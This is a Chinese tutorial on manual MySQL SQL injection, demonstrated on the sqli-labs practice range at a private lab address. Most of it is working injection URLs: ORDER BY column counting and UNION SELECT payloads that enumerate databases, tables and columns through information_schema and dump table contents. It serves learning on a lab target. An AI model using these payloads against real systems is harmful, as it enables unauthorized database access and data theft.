mysql 手工注入解析

         前言:这篇文章是针对mysql5.0版本及以上版本的数据库进行注入。至于如何判断数据版本呢?可以通过扫描工具自行探测。本次用到的靶场是使用的sqlilabs,可以自行搭建。话不多说,进入正题!

知识背景

        在mysql 5.0以上版本中mysql存在一个自带数据名为information_schema,它是一个存储所有数据库名,表名,列名的数据库,相当于可以通过查询他获取指定数据下面的表名或列名字

information_schema.tables: 记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

判断是否可以注入

http://192.168.58.130:86/Less-2/?id=123213282kjhdkjashdaksjd

让id随便等于一个值,但是页面还是可以正常显示,就代表id还是把我输入的内容带入到数据库中进行查询,故存在注入点。

猜解列名数量

http://192.168.58.130:86/Less-2/?id=1 order by 3

http://192.168.58.130:86/Less-2/?id=1 order by 4

所以列名数目为3

获取所有数据名字

http://192.168.58.130:86/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

暴露出所有的数据库名字    这里的group_concat就是值的是吧schema_name这一列都给查出来

获取joomla数据库下的表名信息

http://192.168.58.130:86/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'joomla' 

获取joomla数据库表名bak_krfbj_assets表的所有列信息

http://192.168.58.130:86/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'bak_krfbj_assets' and  table_schema ='joomla'       //加了一个and 为了避免其他数据库也有一个名为bak_krfbj_assets的表

结果:

获取指定数据:

获取name内容

http://192.168.58.130:86/Less-2/?id=-1 union select 1,name, 4 from joomla.bak_krfbj_assets

获取rules 内容

http://192.168.58.130:86/Less-2/?id=-1 union select 1,rules, 4 from joomla.bak_krfbj_assets

自此我们获取到了具体的name和rules信息,此文章呢涉及到注入是比较简单的,学注入的漫漫长路,同志仍然需要努力呀。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>